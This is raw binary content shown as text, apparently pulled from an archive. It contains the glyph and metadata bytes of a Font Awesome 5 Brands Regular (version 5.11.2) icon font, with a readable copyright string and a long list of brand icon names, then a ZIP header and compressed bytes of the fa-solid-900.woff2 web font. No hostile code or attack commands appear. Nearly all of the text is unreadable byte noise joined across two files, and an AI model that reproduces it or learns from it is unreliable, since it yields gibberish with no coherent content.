	&- 	%		9,:L8'', %%   	  ^^K  2322230##"'"'*&#&#&'&'&'&'&'&'&'&'4&54&45&547<65<656167>567676767672636212":372676767676767676767676'4&1&'&'&'&'&'"#'&67"#"'&'&'&'&#4.5&'&'&7676767"'041465<5<5<5456767676767654'&'&'&'0&673676745<5<5<645<5<5<5454512174767676763632367676?0'&'&'&'3"#"'&'.'&'676767'&'&'&'&'.'2303232763667676767464567<5<545<54'&'&'&'&'"'47676767610#4&'<'"#*#"#"#41>12676345"'.#4&#41:3670254>721633230"""02220#*#"#"14=46123#"'&'&'&'&'&'&'.50'&'67<7676%0#&'"/476767676767676367676747654'&

(+		5
+


+		
	
(!		'/u
		
		
	f		 "
		
	&

		
				t		





	'		2#
,A&


-<	#			2
	

	
		


	

:
$%		

			
		

	
&&,

 

	

	    j p  66&67676327676765&'7>767677676'4&45>7654'&'.'&'5>6767`I\*,(!B.%$6!#	*/1!-0!(M;753	93-!" 


 '
#!
-*6	$/($/<4-I#":,14^0
     ! ) 1  '62777''''777&47'6"264&2"&4w[[wF;FF;Fw[[wF;FF;gHIfIH44H4F;FF;Fw[[wF;FF;Fw[[HgIIf%4H44H         + 5 ? I S [ i q    2"&4264&"%#3##5#'353#535##3353'7'7'7''7'7'7'7'7'7'7'7'&2"&4#535##3353'"353&2654'#3##5#'?'7'7'ΑΑTT0v%IS|S			x켅BTƝ(u4T_Fp?}1TT@s,	Α¿#/.R\8P]		

R	!3R2RARAU}XM<3?8 XF	               ''.'4.'6'777''4&467&7467>'.'.67'77'??'?67.67'''''776'7.'5'7'677&'67'677&'6'4&''&'47'67&'6			''
Y:k, !,l:Y
'
E
	(
!'	,' ((&""!#	%
% "!=2b']<&1xx1&<]'b2=!" 
%	#!""&(( n,>'	L
'J
'? 
      # M q   7"&4632.4>?3:1>'.0#&7"#"&54>32#"#7>.'.#"56&546212#".'&5./>7>5<13L M)u$=,#	[
$46	

0		M'pH
x >-$	[%6N$\&6}	M'wG
	 ?.$		[%41
	M(m        + 3 9 ^   
)  %&'&76&"&#'476322'"#"'&6"&7662"&31&'46&'&#"#".4>76%2.'"&'4547'&>017626'.'67>?&'&6'6720'&676'&'&'&'&'4'&'&#""#.#'"76767676.&'&27'53>2241&#"15674#"1675#K8	
=

	
2
	3=E>4)(22,,?"	 	,& >	8<1+Jq	9,'	
H(
(	((		G	 -/ #,37,!#	
:"qT1	6!Fa
-				
       '  ?'2"&45'5'5'757757"!!"EΑΑ;<<;!""!""B!!ΑW;X<KK<X;WA!!AA!!A    r   ! ,  62"&4462#"72"&5>2>54&"j?$B/ih-P $=#MnNN/B#JggJO!##=$6MMmM    
 (  %#"&462#.5467552>54.'7"&&6'SuoPmm<S*IUH*!.+&6''xSQv&??(Z=*I**I*4,Z   " ;  #0#"&4632#&#0#"7#"'&'.5&7632V!gg(`dz7%"Ab@ &HIΑ%QJ 4!!/+
"=      ' = O  ?62"'764&""&46"'&4622?6"&4?622?62&4?62"'&"R:w))R)R:w))R)i:Rw(x_:Rw(p       / 6 = F L  6/.=467*#35326&'>&'*#3533'2+5'2+57"326&2"&

l u *		C
		
 !6**

l

m

m		\f$$e# f""T!&!(!55#$$       . S  2#"'#"'.4&54632>32>654.#"#'&"#'&#"32?3327&1
	C==C	3%-	$
.8
,-
:
-,A !'(
" ~/$ N+F66E7"# -##s  %"uu"%     ?B  : U q  0467>23>'.'.'&"+'67>27'#5<>7>7>7'&'&#'7'6767>
r B	B #)S$*+	
	SS#+,
	<	#=11>mm	
S{
=

>	{|	?

?	        2"&46&'&"&'.26ΑΑ
ARA
PfPΑΌ'33'
1??      L  #".'&4>3226'&#4&<74#"#"#6=276&#"133:325&53"
gagb%P%P@&m5?&m5?$VB%/i$ta-0'     2   +"/+"54;276;20Cn33E6lΆ	      "  2#!"&54635#'#3577#5##R$=>=>>>=\>==.MMxMMxlii       # '  #'#735737537#75'3#_lVb(m{WaCHU4N4POI 6SPߌHH@\?q?235';er5F=f5    +Q   G T `   3#'#75#37'2#7''67#6;65#>7>3732#%'67>''>+#"'&'236=#"&/35"'&'26?#036z1*aIZ=6@B4X3	
)
z
l
&)t,+<o,^	!A"	1L3
'#(	 !:LI
Gd	e    5 >  2.'>?#535#5##3#3&#"3267#!"&5463&632#"z)d
Xmm3nn\
Q.:-.0-MKa ))#-"K7?C)$	-33/#/-$"6 )4)! I  d  #n'1Uk  %'#"'&54&5&7461/>36767'767'36&'&5476736'>6762#'&3&476726#&5&#0&'&#27"/67676'&7676'6=&'/7'7*#67654'&'&'&#"'#&?#7"&#572363236767'"'5767"'"'&#"#7?7>4.5#&''.#'".'&'47&''&'367.'''2>7'2&/?&+57''#776.'&'.'77#6'.22077'327''7'3''76767/'#7#"#'67&7'&66'.67'&'&6327'52&#"#5#63'647674>7632.73230765654'&6?#&3'&'&547&'676	]\BA(	!-5#!
				o 	
(	

)/		

	( 	

8:
$0@8'&,	
)

	/ 6,	 	
	
I,,
!		+&+
			7'F
	(	 	
	\x<=Z-#		&-
	
	
	




	 
	 !*
$&



<
)
!$,,			

+/	 0	H
v	%03

21		
	C	

   m p   !"76743765&54'&'3#6743627>7>46'4&#*#.'&3!#"#23#5232'0&'&32&2>767&'.'+er)"s
7S0,
td				(	
k
IH	

	
D-<@')
h       Z&G!-1  #.5"=4547>7'0.#0>162;2='#"'&'&#"2*&543:65654'&"#&72012=432720;&'27215"5&'4327&'&'0.'#"#6272'&'4&'"013'&672=674#"#"'67625654#&54632'>3"=&'&7>3201&'&6#"'>5454'"572725454'"4732#32#*#"'&'&*32%&+"#&76'&'4#"#"#160+"72676742325454'"7032#";276"'67236"54&#&#"7636'05&#&36762#"#"43656'1"54'&767456'.7623>76"+"&3656'4'"43:'32#"#"4;265454'"#&63230#:3>7+"0'&1&541474+'3676&'&"&5653276&/"326&3645.'	gi=81	aa  .		0()'#Zc4W
&(*'+_



!	
"

+.e		+g!"	
&$(YeVj
	U{}~:<# t8787O&	
CFGC=#'SAGJBJ7zH1					
!

"R%&


)/('E3n
q!:g
	
&3:$&e
    Z& " ' [ r ~     '<JX_l  %".5&&7'46?67632766''7&5&'46&'.<.523036'74'6'67&672>30?2&&&2#"'75'654%'4>2&16&#"&'6'3&74'&7&'&'&7276&5&633#65#6'&67"'6&261&>&'707&#&#'5063632*#75'35'32'22>=4.#":>5#54.*#3#75'3#372#".>26&"'#75'37'3'&'320637+676=40:>4."&3#.'#75'35'#6'254.*#&63&674'&':	$	'		!;//
	
*
	
		89e<QI4%#J*,-*I!
#',')r		
	
	
31NL! d	
l	 	<	M<N			B&&U	'"O	U,0	L	'*i		    	  # 5 >  6+53%2#!"&546354&+32675#"735#535#57#'#r(n0/e?		>5  &! &	F	hhGj	}&&srr       ! G K O  '36767&'&7>672&1&'&67.'.'1'&'6	37' 7:
 )"AJD!		!&	5=*   9

&	&K|D!	%	6	        	x   2 K ^  66'6%'#"&/45467'&54>67676>7>.#0#"77''77''77'?(
Wboo	w
QVRO9
X2$s0mC=J!q:	.>/.18'8
,-2$3		$!
,s,--,~,'    }   % W a h   *=U`W\by  76&654&'&#6'76"10'4?#&'2#4'5654'&'654&#"#./>6'&7'7'>15.'675&'#&'56767.#5675".'565'#34>307&'.'&7"2#04/5"267&'4.17676767#'4.56461##&563&'5#6376535"'&'474656'.#672<15&7507&7>7#7.767.7&#76&'&&561"&'2157>7202'3>17&67>7&'&75."&7#76'&7627&'24767?.3'45'3654&5473.#&7'7'"'0#&7''''7''&'.?'>0327'7'067''&/67'7"'76%63''>'2#54.#"#&'56#"7>'&76567"&

\9+aWYc.:	3oI9E|,r6CIo*		8
7	
	&	+		.

	&HL%CA"	;_(
!$$*"

=%[UCB-K+m	AnI3,MsB<27

@		 f		D(P
G,sR	


)	1G9Si	2&G		 
		

-					
P7y


Y%
\*
				/B%=A=+$	*

;
!^+XF	D;7%+P		'/#b	(&|2=;
(P@(
7   )    %'73# 7 F!v'a_jk]     A 	  2 N e m         Ql0:  ?'373'7'373'2#"=432+"54"2545<632+"=432+32+'+"5'#+"=4;2'54+327+"5'#+"?4;23'+"=#"=4;2+2+"=4;2+32+'2+"=4354"2'+"5'#+"=4;2'2=4+72+3+"=4354+323'7'3?#"&'&'>7&'.7.5467&76326&'."&'>%16767632.#"6'&'67#"'32767>.'&'&'67&'.'&#"&'67&#&'6703273&'27327672767&'6753'32+"=4;22=433'7'37'7'?2+"=4;21+;2+73'7'3:aNP	UJ.

`



--=8 "b2-(*#	1A7 "a3+*
)(I3*+.X&%0-XT$ (
 ( 	
4:9:$$$$	m6
(
$<;		;;*265@?((4$$@	!
@300/[+HF	?@	N>$2[+GG	>A'Q;
">@6'T
">@'
	+--	_4422U?d        
  3#'#<ުlJOM          7!!"&'%32#7;;)X=tGgf G       7+"&?>762+"'.>2		}b			'		6;J*H3G<I     ?  %&'&#654676&/76/?6/????
_
ii0
4
+&(7:g`#qg
]C

 <PHx
>
<Z           # + 3 7 ; C G K O W _  573'7#'5#'73?5#'735%53#'%'#57'#'7'57#7'537'#5'53'357'#573"Lv -#78-88ZL B8

P [Z ZZd- M!LNZZ  L/-!mj87,z P!Z^Mllv88


-78-
M -7-
-N[[.N [[ LG- MdO Z[[- Mj l/ -77* O [     # F  767>'&'./&"&'&'.?>>7076($<?W0732'"4!j($<?W11933):"	j$.r
BF.r	A             + / 4 8 < @ H O  ?3%3#73+732%#73#576+732#"7>533613373'3#73'3#7333#"&7;VRD#d)3
F>(>M[pu-	N;ZIIM	R:'(:8^75<
7N55      .  7"1"&5064.'&>1250616232>1000#0&XVWAG HIgEESVY]w<~eNNf0z?}     Z  4 8 ? K R ^  %#'#5##"&'#73&547##53#3>>32353#3733.26&#"5#535#535#737'#3'7#'#3J6@"V#*@511m<732	8w>/&!8878_18228(.-&(..&="!%#
M)L1+E 3,"(.99,"4233         $ * 0 6 < B I O U           2+"&=64/'.6'&57'67'67'67'67'&5547'&/67'726&+"=46>54&'&+"#";2#"&#36=367'67'67'67'67'67''6765']77"#5"1$.'.4178";@H"+		

+>*!!
.OB		$	6#0$.(26)@ \8!6%	$#$(6
8 %\@I	,	/	=,8/!


>38$#$(5*	A     k  $  #"&463"&463".546;2"2"&4U2G22##22#'2##2':F22F2 #22G22F2(#22#'2F22F       ' / A I  2#!"&54632=4"2=4"2=4"2=4">.""'&"6754"2!!!!KKJC
02
:<!!!P!R-
))
0         N  2#!"&54634&32>27'#&5676.7#3547#36737676&	"	D
 !M	 ".-	nr45&($O$] g$
          %?&'&47677'IM&LLLJM&|LLL  
s C R  %.'&76'&'&756'&'.676>'&6332>7262654&+"3q#1+-1(''(1+,1)$
55)"55"%%{;
0,A@ -/";,-20-VV-02(%%    l t |   *6>KWcm  %+"'&'.'&'.6?4>7&'&'&7&7&7&7&66366632362636730764622>6626'6.>.677&'>7&'67"'67&'67'67'467'67"#"57&&7&461&7&7&5&&2656&'>7&'>&'&'&'&'&'0&'&#'''#&7676'&6&'.&>.26'4&&754&"266&'&67>&'&t
%$$%

	
				
%+/:%.$
)=D			

	

$"$D=)	
	


	7#1.+p	
g
!	-%%.%.~&%(I#1"#1"R	&
#
	
%2$		$2%
 		
	
	



	
	
	# "%'^/+/*
!#
	
	l
"!
	
	
&$(%% )$l*'+.+			~  -*.
Y
$)'      5  %254'.'.#"#"&#"7#".54732654&VRB
	*6I}7+<p@"qMSF,/\"J)9
	)Y;;(5    	   
       7#%'3?3#/?/N[{[=QZXZ$f+j	BX	vq&0S      %+"&=.5462>54&"R;`;Rww()+3+=qffq=TwwT## %%  }b k w    7&'367#".#.#"#.'&676&'&32>36#"&'47>'&'&'&767>6&'0#"72##".5463224"[&"0
74
	1	.	%&66
*&	
$$3	J$D33?I<.$
&Y
<		 
 /	E&-		0($#>04"/


         ) 1 > J  2"&4$>.2654.#"7&47'>.767''7>?&'&'&6ΑΑ3	%+''+%%.R+/2.%%2/+RΑ?				2(^(2+E$4//)e4$)0   |  ' ; F S k  753"&=36'>.5!5&>'>'#7>54.46&'56'4.g!#!_J[!,*f'\TY%1,*"'- $/!!
	O;#7${gh(,	
+!("'"3#E_	
	
		       %`  5 H  %'&5>.#&'4>76;2723$#>7%!!$7>&'.#.'&/%:'Y44 %f"
!DY
QH5
,]#	       Q Y   %'&>?&/'&7'.67&7.76767>30767"12676326"&462.#6'676&'&&'&"&"7327676767>$0
/
		\ΑB 	
%
/"	g	
5!	
		'ΑΑ
/ -	"1

	    	 1 K  7676'&>'&'.#"767&'&63270#"'#"&767>32%#	
U		j	/&'.,
	))"Bd	;179971;j$&(K.%-$$x2J%;38,);".C%I2P>>P2 %$EU   	    ? G O W       %'"'&'&''&7'&'&767&'"6767&667667>'&'7&'7'&'676'&'47.#267&'&&'.67&'672>1#."6&'&2&27&{%' 44#	&W%8!4)+
!		l!%	/
1$Dc;8	4A0!"
"DA
'.	$$H	+$&%+H/&;2,
	&.:>D $1*j+i 5)''	O_JO ::+'M.&	
	3'
         ) B  %+532'#532"7#!"&5463!24'565<.+:62>76$	QQ2KK		,,,*,n1%
.	5Q	
DH	,,*,,9
(     + 9  %"/&?622?62'"/&?622?62%&?62"'///CaaCCbbCC[[[[       # +  2+53!#54632#532#14&#5#4&#++%@=X+?,a+pP+*@@%W>->aPp     x   #*"#7&62326514.'0.'&&'&'&'467:62>7>5454>2#+"&772'.y	mO"	
	6	

		 A	
(H	(<o1
+.(
	
6wA
   ) H y   632#"&5"&5#".5"&5#"&=4632327277 '.67672"3>57:>4&'."&".''"15>7H iO1))1#C	$;<
$	C

	#NN#

	,	G,	8

8}G[M{f")	%%
)"	

	/)       E h    
0Lko  7#6236#"'&54626'&=4%''.'.67&>3263264'&562506350'&#"'&1327"11130>32&176=4.74+";257&#"32765'4##"53250<.254'&5432;'06150'&#"#"'41"374+47632572'&#";"#"01376767325&#"32767&54+";2=476256750/#"432125656#&327617&#"132765'4##"532505<.2#e@
&6
#)-("#:		8":"/
	#E8"	 	 $

8%"		

	P
					6*

	/6%$

BT!#19:>2 #	
#?D=	
			"
O2	2
:
4
6
85'(         `   :  7#"&46;2+";2+"&46;26&>732>=4&+64'32#r);;)r);;)HA	v!.$;R;"(;R;"x/	x./!%         2"&4%>'4&*0.'&74676&676/&76#".76&"767>74>5>56&'>36ΑΑ~

		1



	'!	

Α

	*	
!144	'7'$

#	   & E K Q d  %#"&'*'#"#.7&'&632>7>32>76.#"#623>32&46646&67>76"&>>
?%		BY0N|t&5P,@n"<2
H[$#.( 3@r-*12-I'`	).S>%M;* -	!!!!)	(%        0 V  '&6727632#"'"'.767".'&63:%&5463237632+"'.5463033267*P_

_PT
	-*vOQM
n&'		(!I	
H!n

	*&	   +  %"/&4?276&'576&'6&'762		2	

//23(					3
{$

	%	z..	24)     
 1 = A E  7+5327!4.'.5432;4&#"#"5#32>74&+3532>7#7#3@	 	"~4!100*@ 
	D/N    6 C N V a n w  %3#"&54632#.#"54&#".5467>2#">'32>54>&''"67&3>.327.7367&'|`tt`|nVju1_C'$-4-IJ,5.
Qhd$+!	++*r)*"@&YvS[tt[SHMujEb61$'-.4!-/4
1L$%"!D\%##3$$#&D$&  9   % 5 < H  2"&467.54>32676&+%'#37377#7##"''2+?232+7褤X#	%.M&	 %$rh5\#_.	< ##&ݸ%%Z##ZTR'#=x9c	0     `9!   & < F P  373#'#'#%2+52>54&/+53:'30>5.#6654&#/*)-.-,# 

0/
		.4<

 vvMMPP'(

&
m    
    (  2+5&2"&45#6264&"2654.+')+#/`ΑΑ1=4$Q,!Α>*.      E w  #"+"#"&'.'.54=454>7676767>7232;23276'&'656&'&'&'.''&'7367>


F;:
LS,/9	
N?P+>QA$ (7v"#N$/S<#!-c0	5#"      W  2#"&4654'4'&'&5&+1##"+"#"'.'&5476?514/"73>͑.=L(g 

 =77=f)K=.y	)	)	)00   V         6                       $       n       &       7      
 ,       	       M       s                     '  	   4    	  : Q  	     	  H   	  :2  	  L  	  4  	 
 XR  	  .  	  *!  	  c  	  :{  	  *  	   C o p y r i g h t   ( c )   F o n t   A w e s o m e  Copyright (c) Font Awesome  F o n t   A w e s o m e   5   B r a n d s   R e g u l a r  Font Awesome 5 Brands Regular  R e g u l a r  Regular  F o n t   A w e s o m e   5   B r a n d s   R e g u l a r - 5 . 1 1 . 2  Font Awesome 5 Brands Regular-5.11.2  F o n t   A w e s o m e   5   B r a n d s   R e g u l a r  Font Awesome 5 Brands Regular  3 3 0 . 4 9 8   ( F o n t   A w e s o m e   v e r s i o n :   5 . 1 1 . 2 )  330.498 (Font Awesome version: 5.11.2)  F o n t A w e s o m e 5 B r a n d s - R e g u l a r  FontAwesome5Brands-Regular  T h e   w e b ' s   m o s t   p o p u l a r   i c o n   s e t   a n d   t o o l k i t .  The web's most popular icon set and toolkit.  h t t p s : / / f o n t a w e s o m e . c o m  https://fontawesome.com  F o n t   A w e s o m e   5   B r a n d s  Font Awesome 5 Brands  R e g u l a r  Regular  F o n t   A w e s o m e   5   B r a n d s   R e g u l a r  Font Awesome 5 Brands Regular  F o n t   A w e s o m e   5   B r a n d s  Font Awesome 5 Brands  R e g u l a r  Regular                                    	
  !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ 	
 !"#$%&'()*+,-./012 3456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~twitter-squarefacebook-squarelinkedingithub-squaretwitterfacebookgithub	pinterestpinterest-squaregoogle-plus-squaregoogle-plus-glinkedin-in
github-altmaxcdnhtml5css3btcyoutubexingxing-squaredropboxstack-overflow	instagramflickradn	bitbuckettumblrtumblr-squarewindowsandroidlinuxdribbbleskype
foursquaretrellogratipayvkweiborenren	pagelinesstack-exchangevimeo-squareslack	wordpressopenidyahoogoogleredditreddit-squarestumbleupon-circlestumbleupon	deliciousdiggpied-piper-pppied-piper-altdrupaljoomlabehancebehance-squaresteamsteam-squarespotify
deviantart
soundcloudvinecodepenjsfiddlerebelempire
git-squaregithacker-newstencent-weiboqqweixin
slidesharetwitchyelppaypalgoogle-walletcc-visacc-mastercardcc-discovercc-amex	cc-paypal	cc-stripelastfmlastfm-squareioxhost	angellist
buyselladsconnectdevelopdashcubeforumbeeleanpubsellsyshirtsinbulksimplybuiltskyatlaspinterest-pwhatsappviacoinmediumy-combinatoroptin-monsteropencartexpeditedsslcc-jcbcc-diners-clubcreative-commonsgg	gg-circletripadvisorodnoklassnikiodnoklassniki-square
get-pocketwikipedia-wsafarichromefirefoxoperainternet-explorercontao500pxamazonhouzzvimeo-v	black-tie	fonticonsreddit-alienedgecodiepiemodxfort-awesomeusbproduct-huntmixcloudscribd	bluetoothbluetooth-bgitlab
wpbeginnerwpformsenviraglideglide-gviadeoviadeo-squaresnapchatsnapchat-ghostsnapchat-square
pied-piperfirst-orderyoast	themeislegoogle-plusfont-awesomelinodequorafree-code-camptelegrambandcampgravetsyimdbravelrysellcastsuperpowers
wpexplorermeetupfont-awesome-altaccessible-iconaccusoftadversalaffiliatethemealgoliaamiliaangrycreative	app-storeapp-store-iosapper
asymmetrikaudibleavianexaws	bimobjectbitcoinbity
blackberryblogger	blogger-bburomobelexperte
centercode
cloudscale
cloudsmithcloudversifycpanelcss3-alt
cuttlefishd-and-d	deploydogdeskprodigital-oceandiscord	discoursedochubdockerdraft2digitaldribbble-squaredyalog
earlybirdserlang
facebook-ffacebook-messenger
firstdraftfonticons-fifort-awesome-altfreebsd	gitkrakengofore	goodreadsgoodreads-ggoogle-drivegoogle-playgripfiregruntgulphacker-news-squarehire-a-helperhotjarhubspotitunesitunes-notejenkinsjogetjs	js-squarekeycdnkickstarterkickstarter-klaravellinelyftmagentomedappsmedium-mmedrt	microsoftmixmizunimoneronapsternode-jsnpmns8nutritionixpage4palfedpatreon	periscopephabricatorphoenix-frameworkplaystationpushedpython	red-riverwpressrreplyd	resolving
rocketchatrockrmsschlixsearchenginservicestacksistrix
slack-hashspeakap
staylinkedsteam-symbolsticker-mulestudiovinarisuppletelegram-planeuberuikituniregistryuntappdussunnahvaadinvibervimeovnvwhatsapp-squarewhmcswordpress-simplexboxyandexyandex-international	apple-paycc-apple-payflynodeosireactautoprefixersassvuejsangularaviatoemberfont-awesome-flaggitterhoolistravastripestripe-stypo3
amazon-paycc-amazon-payethereumkorvue	elementoryoutube-square	flipboardhipsphp	quinscapereadmejavapied-piper-hatcreative-commons-bycreative-commons-nccreative-commons-nc-eucreative-commons-nc-jpcreative-commons-ndcreative-commons-pdcreative-commons-pd-altcreative-commons-remixcreative-commons-sacreative-commons-samplingcreative-commons-sampling-pluscreative-commons-sharecreative-commons-zeroebaykeybasemastodon	r-projectresearchgate	teamspeakfirst-order-altfulcrumgalactic-republicgalactic-senate
jedi-ordermandalorianold-republicphoenix-squadronsithtrade-federationwolf-pack-battalionhornbill	mailchimpmegaportnimblrrevshopwaresquarespacethemecoweeblywixello
hackerrankkagglemarkdownneoszhihualipaythe-red-yetiacquisitions-incorporatedcritical-roled-and-d-beyonddevfantasy-flight-gamespenny-arcadewizards-of-the-coastthink-peaksreacteuropeadobe
artstation	atlassiancanadian-maple-leafcentos
confluencedhldiasporafedexfedorafigmaintercominvisionjiramendeleyraspberry-piredhatsketch
sourcetreesuseubuntuupsuspsyarnairbnb
battle-net	bootstrapbuffer
chromecastevernoteitch-io
salesforcespeaker-decksymfonywazeyammergit-alt	stackpathcotton-bureaubuy-n-largemdborcidswiftumbraco                                 k%    ٮ)    ٮ-PK     N\vF' '   webfonts/fa-solid-900.woff2nu [        wOF2    '     'tJ|                    ?FFTM` 

6$  +j[]T0Ɇ$zq tQ$m#b*&UB!Sr֩-	.&0&ULW(Lyzoy0;:E@E@E@YhE)RG WuTTT؏iZm21)h:6̖A}6K5^b8{q	?!@uy	IH"
!Zgiw|w-:Lh	ݽ`!Zsݪ!=jwoqhl4J'hud"uÇַaCNEȱCծ5&U*ZxL^am)&W7Im|h}r-@ifk
,Bvikw_'+y{m[9Llgl`ټyV1B_e[,J>DP	Uh4VEJ%
b'FR,6۽o۞hp9cn_qnC̃F=l!j%sjKN7yhhښ6bcm9XV`2&mdlN}xm=g؂
 ntXY&4ņZ6icZ򮮱ntuq5n24.7BcpmeJ-6?3׊0ڴVjh;<	BNX@WR3t-tS3tݮ*P_Ǫ̌skFX(ߜ~?Iv6dt7 C`A}-Rd;}i˕2J<ou}_uޮj&ߪb=,_ a57q^l-0C3 ݶlݝ@twGۗ4dkph!WB]0!w6f_@Dv	zO%5M{mG$DLf{n0t.FDҜ/U+(nmՓݓ٭b:?T~
( R" B"R*@PelVYY흕e<ٞ@P`I{B<|O}{>Vw꣌<lK+Uaǣ,zm|N]F8gb$𵟘PBc,C(>ݜ	ue)M ,%C7|K=}/k9 lE2gBd ӁlEooЮU;,[!GDDD$H:g9dl
TҒ2"=JB)$CJ)&N<d[IA.ZmVw)K׋;B$qP b9<5siש./:D4	#Es{F-ow?EFbγlAt@ql-WQm9Eޖ(_GM0C8w|35p(hȰĊ*]GK4EinЈi7o CTJc`n.	Ё񩋂|o?+Zzyae.҆>^r/)!$-Jg`צmUiB^{ﻠp+VQI.^BZ-wׂ54i۶ݰe}0y,[fZXx!$4
.>!5#@qI)9sa`SP2^=tpg~$uMD$4ṱ<yU]{|?ܵ</"nN=o9ؓӉ}$G\,/<3)xu#N4F=iY*#iؘ䪗/G f;G視BĲi۱Ȅk-jvOKh~WHsgRO?ȷl߹ 2LKO$=nܼ?i=,[i.1i$>Dhجe3IOG䆑vcp99*ɎL-]Dr%OIlo>@Z)$v|6b!M~^vz\̦ﶛnJx,	^_u;褣*ˤS9	
E&( 8:2aÞ*Þlt k7k(=ױMypm2C9qWbwq66hk V-
(8twX&FI%>f10h8ōR.:J(`pCxTh5¡~i^ei5j>N%H*$tg@UD\Wo1mv_'`4k̜୵I?J1z	\o9zߓ炍@bQ4m}^O .UgޞEH-Z޵7ʳ]P0%ш|oCTe>K|a=<^Oitr{k7X%SFT'{WK~s@1?WC{o1#pφiDKs՘?Q$܍!V
t^MQvg/⽽+Ma;O~UfZ$f>,oHH"![:9F3u	5S>O:g,pHJŦ.'6R;!65mC%ٔ+QV-}p)?KvBQie>vY Nry>hK?y9XbR\TM4uz&[f\HzXR35<5ok|UO@!oU_u{͙o#}[ăv/bA p؀ݭp?5j|TfsX< Hx:ecC9#I[Gy
4]3LH<Y]U.+#1oT
^klЗooݝ`%^	ɍ^ I,awqIWnz(afEdw% xSvu- Q$&2@(yc+6xu"J6:291&sm,DT*:6 Z>9`]&yy|
 9`>'fg8nul A`t.| JɩzL// IL\
	OpX^I$L|ڎyB4=H+usa^uw{Ek!J)s*Cffy^-hem6H8ݘ7	Gv|? H!%ZO|5癃m*B.\\ 3U&	E)-}/bv	'$2ƏHЪ%w/<ݚLc|".gWǳRܞ٨z;aixF.W!1 7K`B2vuW"w)qr0,D@͋b(̍tq1FkF
`/xp4bNTҧkm ۘ	r6 KPQ`%.dBA] ^Q]M;(1y̘xk	y`rĤЉԶ5#[yGKPb$sfuF*RlѢ&nĥa"ǈ	QS^̹${eXԷ <w ę^hMyZmfOr
Lks9,lu(q'k0]cZ|"Qhkќ)#Tr 7 'Q ߢ2Y=QoEhdTd1߻ axI^{O	'ӫ=5L}Pf6k&)ϏT]iVpD	A\|+\YwOX-BD<cf|*6R7dلlZCk_3jJAw|Si
C %.!V[eCnڀ1Ezr]
(c^d4
1s+-q`ιbM{4LRL1	iG5\#b0^AH{	eAj#WJ-ʢ,ΟaVG'Du5r<`YC)kS	꒮IT~#GѼK_#C_US<*҄# AgͽRo3:ѭƝgHK	FǢ.@(ɤt֡͟<W9I\t]\DMeuw%J&`ζ8b)L3şa^%W,NYfdE@̎4q` >Փx^\x \ORݯ\QZJg|| $2 tKdd| #ζ`<PG GXZGR` 'qϔ4]=QAz);?t&e:B(ҝ]uZViͱܰ	pc^÷euyF4U1(>+E6j%<" D) )1<c

P٭QG~Eœ}ݩŉ@ 7Nz*pzfb	)ch6hfku&%
zԇ#5f:hqu#{-fрX\jN<zW*W,|Zvn'wg/?-yeUR}
:(	y	B(IWuq"ea& 0,XMvLr=gRxdu@e_wȘVCul6r*"F1:_QV=
fKAq!HSfBgЀ`i"@XdCgրP6CR\>r,<BBU%yG]և u	Zeҫ[J!LL/ɬcҊ>8R|Q_/_hyCT^s."A$gK6Csdzb ŉQj516).\(Q&Hc'Ŀ' G:zy4? *Ou<8IIsCfM( x{;m1LFN1E,!@t|hf]6.Cy	Ԓ>@KF lmLxj1Dx1'F8pL|@kq<W4 =kuЌU+c
A*7x(i'c$32`v?<
:qk_&2rHG"QjEAå,򚱚^-j洮Q[߁o:\e)X.{}#s6b.P<[#CA#7iP70LI2t #kjej/ `0!g8RDr-#@p{RS̆ӄ)(OS0Si$?/W]Snm.{,Y(C9$82W53jm ;(#3I[:%?$8H[KƉ2}xyVt
ã.CknLތ̲smP¡"iٶyrP==!:.aO>ޮK1qnOťI93챩bh!berރ-\RyVr 9Bc)qy\g_p<%:Z"
uRuUj%O[Mm?B"I12df6
xW:v7rSOv ޤ42,#Oeܝ`RnaGQ,Wk=pCT8qDmrSveW$>JD*$&8^2ZDCL´AxER@NE^a
%jS2@%8o[z;NpYXǫOZX1ov@?]xJ}ݬu}hS))MKKT0Wu>6KAlu\S꼿;%>:7ia{!c-h-=YAx!4|ƚ(񣅋EɆ;$(A=ti\Q0
|+G*'S=ΘWL-}]vYzӆZ$F,nA0$?+ٜ`yNm{fuSD?K@:[;A2EvZx{|Rm`ٵGmea7"vT"p9чO:OX;'p9}l^cƸ%5&j_
1SI˄G5%wg*Iu=;Nt
rݮYw^֣l
CQX\+DnE&!m0$NeTNgخR{8^?.^x#{qŰ`'371[X!2FwbkȜDflMN"Qs}[Dk06O0H>_A0[,̚G5`ŕ'IaX<T?~KAK],v|x/;N%rx<6EgnfKH?D7ck$0< E(hPbWQ͝ǖD]T ~Gtn!1cn
U !<oW2՛KE?U:Ӊzc/*|%S.Kլw򃭂)8*p-Wi,ֶ֗o/4͛D/CtoQPLRou([y46ө݌ J?}Nf_ZqG?=yMW+lhPK ._mgn^5Z|j/_޸%H!u)~2XL>D3\PFwcc:<#],vN1v*p&X1,8X0׍<4i6ǶZݿmE'v[ w]QpxFEtgА*JGX#ZKn$PQg3؀gw@gn@["mqٝgu{;sm$jt?WZQ[K0ݩ8W7ݸסMluYX:.46
?tmm!D;~.3Iwn)\Utgf`Ι&IuӥOeSG!y2,[G܇L-YR}rFClkBeC1US7~M!D̉&kf6m'OJRvaE /)62v璽ͳlu>Q׭YQI_+.D^uJSHχR7ҙd nh*P	wɊE7De"D$0k&Կg|$?3-frJB>o+BgiPJaW|aݚk<	Y[U9Euܴn!hT1ϩE:"
	b|wѪ5;鐳+V}G 
U19Y.$BwX\gKGNo=2T5E6vqp+v3Zyy:!#w֍:힯:
pf]BT|k,cI'&)Tj<J	y㒰#%ٍ'P1x/(zԺMDÙ٦zFWH0"s!i1(XD1	=Jj};a:CΑ(2t9wC}{޹=3f'q5ƟG{"` /43;V2"hcL[iD=˦s\oOu=E=x$`qC t?3ӌh\fr{셊vKD=w@p k}%rG]k?P.dh4l(򨄄,XvX3M2$e3H-~uJW˒1Û;,n_Mʣg#eL[`Ht'._Npq}.<p/%1hRT@Hުlσ8jTϤMdiҘM˖ci_	c%if]p<aΗQDo(a4 Tl%(EҾՁ8v?xIS8a7P"ݵ%ߞڒK)|/o- sOCu``1{! 3U.=!9UԾ.,Z#D
yZ{6X.i1˃ZAyqQ%Fav|]qŘfǙt&|_A)X!$!p*{hVqj7èI#Z:`~hUCzM6q"IvsAJ!qY+PЪ!&yd;Ȯ,I r
